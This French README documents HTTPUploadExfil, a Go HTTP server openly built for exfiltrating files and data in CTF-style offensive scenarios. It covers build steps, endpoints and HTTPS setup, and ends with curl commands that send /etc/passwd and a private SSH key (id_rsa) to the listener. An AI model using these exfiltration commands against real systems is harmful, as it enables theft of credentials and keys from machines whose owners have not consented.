
Un serveur HTTP simple pour livrer et exfiltrer des fichiers/données lors, par exemple, de CTFs.
HTTPUploadExfil est un serveur HTTP (très) simple écrit en Go, utile pour récupérer des fichiers (et d'autres informations) depuis une machine via HTTP. Bien qu'il existe de nombreux cas d'utilisation, il est conçu pour être utilisé dans des scénarios offensifs à faible enjeu (par exemple, les CTF).
Considérez-le comme python3 -m http.server mais pour extraire des données d'une machine plutôt que d'y déposer des fichiers.
Évidemment, il s'agit d'une méthode très bruyante et assez limitée d'exfiltration de données. Néanmoins, elle est très pratique et un peu plus facile que, par exemple, d'utiliser SMB ou FTP. Si vous cherchez quelque chose de plus élégant, jetez un œil à, par exemple, dnsteal ou PyExfil.
go build../httpuploadexfil :1337 /home/kali/loot sur votre machine.http://VOTRE_IP:1337/ depuis la machine dont vous devez exfiltrer des données./home/kali/loot.Si vous avez besoin de HTTPs, regardez les informations ci-dessous.
Vous pouvez également télécharger les binaires pour Linux et Windows depuis GitHub. Ces binaires ne reflètent cependant pas forcément les modifications les plus récentes.
Bien que des binaires soient disponibles, il est fortement recommandé de compiler vous-même. Ainsi, vous aurez la version la plus récente et saurez exactement ce que vous exécutez. Le processus est trivial :
Exécutez simplement go build dans le dossier, et vous devriez obtenir un exécutable httpuploadexfil pour votre plateforme.
Si vous modifiez l'outil, pensez à le formater avec go fmt main.go.
Vous pouvez également utiliser make pour compiler l'outil. Vous pouvez aussi exécuter make cert pour générer des certificats SSL (voir plus bas).
Le cas d'usage le plus courant est d'exécuter le serveur sur la Machine A. Ensuite, sur la Machine B, vous accédez au formulaire de téléversement via un navigateur et sélectionnez un fichier à exfiltrer. Bien sûr, comme vous le verrez ci-dessous, cela peut aussi être fait avec, par exemple, curl.
En plus du téléversement de fichiers, vous pouvez aussi utiliser HTTPUploadExfil pour exfiltrer des données via de simples requêtes GET. Si une requête est envoyée à l'endpoint /g, la requête entière sera stockée sur le disque.
Ainsi, vous pouvez exfiltrer des données en utilisant l'en-tête de la requête. Le plus simple est d'utiliser les paramètres GET (par exemple, ?data=...), mais d'autres options existent.

Par défaut, HTTPUploadExfil écoute sur le port 8080. Tous les fichiers seront écrits dans le répertoire courant.
./httpuploadexfil
Vous pouvez aussi fournir des arguments :
./httpuploadexfil :1337 /home/kali/loot
Si vous avez besoin d'un journal des requêtes, passez le flag -log comme ceci :
./httpuploadexfil -log
Le premier argument est une adresse d'écoute, le second est le dossier où stocker les fichiers.
L'outil expose également les fichiers du dossier loot sous l'endpoint /l. Cela peut être utilisé comme un moyen simple d'apporter des fichiers sur la cible.
Le serveur web expose quatre endpoints à utiliser :
/ (GET) est le formulaire de téléversement./p (POST) reçoit les données du formulaire de téléversement. Il nécessite une requête multipart/form-data avec le champ file rempli./g (GET) accepte toute requête GET et stocke la requête complète sur le serveur./l (GET) permet d'accéder aux fichiers dans le dossier spécifié (liste de répertoire). Cela permet de fournir une fonctionnalité basique de python3 -m http.server.HTTPUploadExfil peut également être utilisé en mode HTTPs. Pour cela, placez simplement les fichiers HTTPUploadExfil.csr et HTTPUploadExfil.key à côté du binaire. Ils peuvent être générés par exemple comme suit :
openssl req -new -newkey rsa:2048 -nodes -keyout HTTPUploadExfil.key -out HTTPUploadExfil.csr
openssl x509 -req -days 365 -in HTTPUploadExfil.csr -signkey HTTPUploadExfil.key -out HTTPUploadExfil.csr
Pour ce faire, vous pouvez aussi exécuter make cert.
Si le serveur détecte un fichier HTTPUploadExfil.csr, il tentera de démarrer en mode HTTPs. Pour revenir en HTTP, supprimez ou renommez simplement les fichiers de certificat.
Avec Bash, on peut exfiltrer des données via GET en utilisant par exemple :
echo "data=`cat /etc/passwd`" | curl -d @- http://127.0.0.1:8080/g
Bien sûr, on peut aussi utiliser curl pour exfiltrer des fichiers :
curl -F file=@/home/kali/.ssh/id_rsa http://127.0.0.1:8080/p
python3 -m http.server)